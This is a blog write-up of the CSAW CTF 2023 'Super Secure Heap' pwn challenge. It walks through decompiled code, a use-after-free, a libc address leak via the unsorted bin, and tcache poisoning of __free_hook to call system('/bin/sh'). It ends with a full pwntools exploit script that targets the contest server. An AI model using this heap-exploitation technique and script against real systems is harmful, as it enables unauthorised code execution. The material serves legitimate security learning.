top of page

[CSAW CTF Qual Round 2023 Writeup][pwn] Super Secure Heap

In the previous blog post, I had just solved the first pwn challenge of the contest. Today, I will continue with the second one though the CTF has ended. Thanks to this write-up for helping me resolve some confusion while dealing with this challenge.

While I was thinking about the solution, I was enjoying these melodies. I would like to share it with you. Before getting started, let's chill a little bit :))

It seems that we have to deal with a vulnerability about the heap. Let's take a deep investigation into the given binary.

File information:

super_secure_heap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7ab5b212ea5cca28863c19afbc5887a6da6ceec3, for GNU/Linux 3.2.0, not stripped

Checksec:

So we have here a 64-bit ELF with all protections enabled. An explanation for each protection is given below:

  • Full RELRO: The Global Offset Table (GOT) is read-only, meaning we won’t be able to overwrite a function pointer there and hijack the flow of execution easily.

  • Canary found: There is a stack canary, so stack buffer overflows are out of the question unless we can somehow leak the canary.

  • NX enabled: There is no memory region that is both writable and executable, meaning we can’t inject shellcode into the program and have it execute the shellcode.

  • PIE enabled: PIE stands for Position Independent Executable. It means that the base address of the binary is randomized each time we run it, meaning we can’t use exploits such as ROP or ret2libc since we don’t know any addresses at all without a leak.

Run the program:

Load the binary into Ghidra:

undefined8 menu(void)

{
  int iVar1;
  int iVar2;
  undefined8 uVar3;
  
  puts("Do you want to work with keys or content?");
  puts("1. Keys \n2. Content\n3. Exit");
  puts(">");
  iVar1 = read_int();
  if ((iVar1 == 1) || (iVar1 == 2)) {
    puts("\nSelect one of the following options: ");
    puts("1. Add \n2. Delete\n3. Modify\n4. Show\n5. Exit");
    puts(">");
    iVar2 = read_int();
    if (iVar2 == 1) {
      if (iVar1 == 1) {
        add(keys);
      }
      else {
        add(content);
      }
    }
    else if (iVar2 == 2) {
      if (iVar1 == 1) {
        delete(keys,1);
      }
      else {
        delete(content,0);
      }
    }
    else if (iVar2 == 3) {
      if (iVar1 == 1) {
        set(keys,0);
      }
      else {
        set(content,1);
      }
    }
    else {
      if (iVar2 != 4) {
        if (iVar2 == 5) {
          return 1;
        }
        return 1;
      }
      if (iVar1 == 1) {
        show(keys);
      }
      else {
        show(content);
      }
    }
    uVar3 = 0;
  }
  else {
    uVar3 = 1;
  }
  return uVar3;
}

Go through all the services provided by the server, we can spot 2 important points:

1. The function secure_stuff will encrypt the data entered before being inserted into the heap segment. But if we input data to key, our input will not be encrypted. Therefore, we can abuse this to leak some useful information.

set function used to modify data with keys or content:

void set(long param_1,int param_2)

{
  int iVar1;
  int iVar2;
  int iVar3;
  
  puts("Enter the item you want to modify:");
  iVar1 = read_int();
  if (iVar1 < 10) {
    if (param_2 == 0) {
      puts("Enter the size of the content:");
      iVar2 = read_int();
      if (iVar2 < *(int *)(param_1 + ((long)iVar1 + 0x14) * 4)) {
        puts("Enter the content:");
        read(0,*(void **)(param_1 + (long)iVar1 * 8),
             (long)*(int *)(param_1 + ((long)iVar1 + 0x14) * 4));
      }
      else {
        printf("Invalid size.");
      }
    }
    else {
      puts("Enter the key number you want to use to securely store the content with:");
      iVar2 = read_int();
      if (((iVar2 < 0) || (9 < iVar2)) || (*(long *)(keys + (long)iVar2 * 8) == 0)) {
        puts("Invalid key.");
      }
      else {
        puts("Enter the size of the content:");
        iVar3 = read_int();
        if (iVar3 < *(int *)(param_1 + ((long)iVar1 + 0x14) * 4)) {
          puts("Enter the content:");
          read(0,*(void **)(param_1 + (long)iVar1 * 8),(long)iVar3);
          secure_stuff(iVar1,iVar2,iVar3);
        }
        else {
          printf("Invalid size.");
        }
      }
    }
  }
  return;
}

2. delete function, which uses free function inside, can be used to trigger UAF (Use after free)

When users delete data based on the key or the content, it will not check whether the index exists or not (just check the range from 0 to 9)

void delete(long param_1,int param_2)

{
  int iVar1;
  
  puts("Enter the item you want to remove:");
  iVar1 = read_int();
  if ((-1 < iVar1) && (iVar1 < 10)) {
    free(*(void **)(param_1 + (long)iVar1 * 8));
    if (param_2 == 1) {
      *(undefined4 *)(param_1 + ((long)iVar1 + 0x14) * 4) = 0;
      *(undefined8 *)(param_1 + (long)iVar1 * 8) = 0;
    }
  }
  return;
}

If you are familiar with Use after Free, you already know it will all boil down to allocating space for one of objects, filling it with arbitrary data wherever we can control it, then asking the program to remove/delete/free it, then allocating another instance of another structure in the same space previously taken by the first one - and then abusing an old pointer used for tracking the first structure to perform the structure-specific operation, making a function call to an arbitrary address we smuggled inside the data of the second structure.


But first, we have to leak the libc address:

In order to achieve this, we have to allocate a huge chunk, then free it to put that chunk into an unsorted bin. (Chunks higher than 0x408 are good for libc leak).


(Here I'm gonna free a chunk of size 0x430 so it's fd and bk becomes main_arena+96, at least we know the address of main_arena+96 which means we know the address of main_arena remotely. Let's debug to get the offset to calc the libc base)

After getting the libc base, our idea is to write __libc_system address to __free_hook and get a shell by freeing the chunk that has the '/bin/sh' string stored inside the heap. As I am able to allocate memory for keys and content array, I can poison the tcache list by overwriting the fd or bk pointer to __free_hook address until it lists on tcache bin.



Then, we allocate new memory on heap, it will automatically set our __free_hook address as a heap memory.

In order to exploit I will trigger the __libc_system function by freeing a chunk that has /bin/sh string on it.


And the result:

Note: During the debugging process, I still have something not very clear. So I can not give more details in this blog. I will study more and come back to this post soon.


One more time, many thanks to tripoloski1337's wu:

#!/usr/bin/env python3

from pwn import *

exe = ELF("./super_secure_heap_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.31.so")

context.binary = exe
context.clear(arch='x86_64',os='linux',log_level ='debug')

def conn():
    if args.LOCAL:
        r = process([exe.path])
        list_bp=['* delete', '* add', '* set']
        if args.DEBUG:
            gdb.attach(r, '\n'.join(['break %s,'%x for x in list_bp]))
    else:
        r = remote("pwn.csaw.io", 9998)

    return r

def add_key(r, size):
    r.sendlineafter(b">\n", b"1")
    r.sendlineafter(b">\n", b"1")
    r.sendlineafter(b":\n", size)

def del_key(r, idx):
    r.sendlineafter(b">\n", b"1")
    r.sendlineafter(b">\n", b"2")
    r.sendlineafter(b":\n", idx)

def mod_key(r, idx, size, content):
    r.sendlineafter(b">\n", b"1")
    r.sendlineafter(b">\n", b"3")
    r.sendlineafter(b":\n", idx)
    r.sendlineafter(b":\n", size)
    r.sendafter(b":\n", content)
    # log.info("Modified with: " + content.decode())

def leak_key(r, idx):
    r.sendlineafter(b">\n", b"1")
    r.sendlineafter(b">\n", b"4")
    r.sendlineafter(b":\n", idx)
    r.recvuntil(b"Here is your content:")
    x = r.recvline(8)
    log.info('leak %s'%x)
    x = r.recv(6).ljust(8, b'\x00')
    log.info('leak %s'%x)
    return x

# ------------------------------------------------------------------------------------------------
def add_content(r, size):
    r.sendlineafter(b">\n", b"2")
    r.sendlineafter(b">\n", b"1")
    r.sendlineafter(b":\n", size)

def del_content(r, idx):
    r.sendlineafter(b">\n",b"2")
    r.sendlineafter(b">\n",b"2")
    r.sendlineafter(b"Enter the item you want to remove:\n",idx)
    log.info("removing-" + idx.decode())

def mod_content(r, idx, key, size, content):
    r.sendlineafter(b">\n", b"2")
    r.sendlineafter(b">\n", b"3")
    r.sendlineafter(b":\n", idx)
    r.sendlineafter(b":\n", key)
    r.sendlineafter(b":\n", size)
    r.sendafter(b":\n", content)

def main():
    r = conn()
    add_key(r,b'3333')
    add_key(r,b'3333')
    del_key(r, b'0')
    del_key(r, b'1')
    add_key(r, b'33')
    # mod_key(r, b'0', b'32', b'A')
    
    addr_leak= u64(leak_key(r, b'0'))
    # main_arena + 96
    log.info('Leaked address: %s'%hex(addr_leak))
    libc_base = addr_leak - 0x1ecbe0
    libc_free_hook = libc_base + libc.symbols['__free_hook']
    libc_system = libc_base + libc.symbols['system']
    libc_bin_sh = libc_base + next(libc.search(b'/bin/sh'))
    
    print("libc_base: ",hex(libc_base))
    print("__free_hook: ",hex(libc_free_hook))
    print("system: ", hex(libc_system))
    print("/bin/sh: ", hex(libc_bin_sh))

    add_content(r, b'22')
    add_content(r, b'22')
    add_content(r, b'22')
    add_content(r, b'22')
    
    del_content(r, b'0')
    del_content(r, b'1')
    del_content(r, b'2')
    del_content(r, b'3')
    
    add_key(r, b'22')
    add_key(r, b'22')
    add_key(r, b'22')
    add_key(r, b'22')
    
    add_content(r, b'22')
    add_content(r, b'22')
    add_content(r, b'22')
    
    mod_key(r, b'2', b'0', b'/bin/sh')
    mod_key(r, b'3', b'0', b'/bin/sh')
    mod_key(r, b'4', b'0', b'/bin/sh')

    del_content(r, b'0')
    del_content(r, b'1')
    del_content(r, b'2')
    
    add_key(r, b'44')
    add_key(r, b'44')
    
    mod_key(r, b'0', b'21', b'/bin/sh\x00'*2)
    mod_key(r, b'1', b'21', b'/bin/sh\x00'*2)
    mod_key(r, b'2', b'21', p64(libc_free_hook)*2)
    mod_key(r, b'3', b'21', p64(libc_free_hook)*2)
    mod_key(r, b'4', b'21', p64(libc_free_hook)*2)
    
    add_key(r, b'22')
    add_key(r, b'22')
    mod_key(r, b'5', b'21', p64(libc_free_hook)*2)
    mod_key(r, b'8', b'21', p64(libc_system))

    del_content(r, b'3')

    r.interactive()


if __name__ == "__main__":
    main()




Comments


bottom of page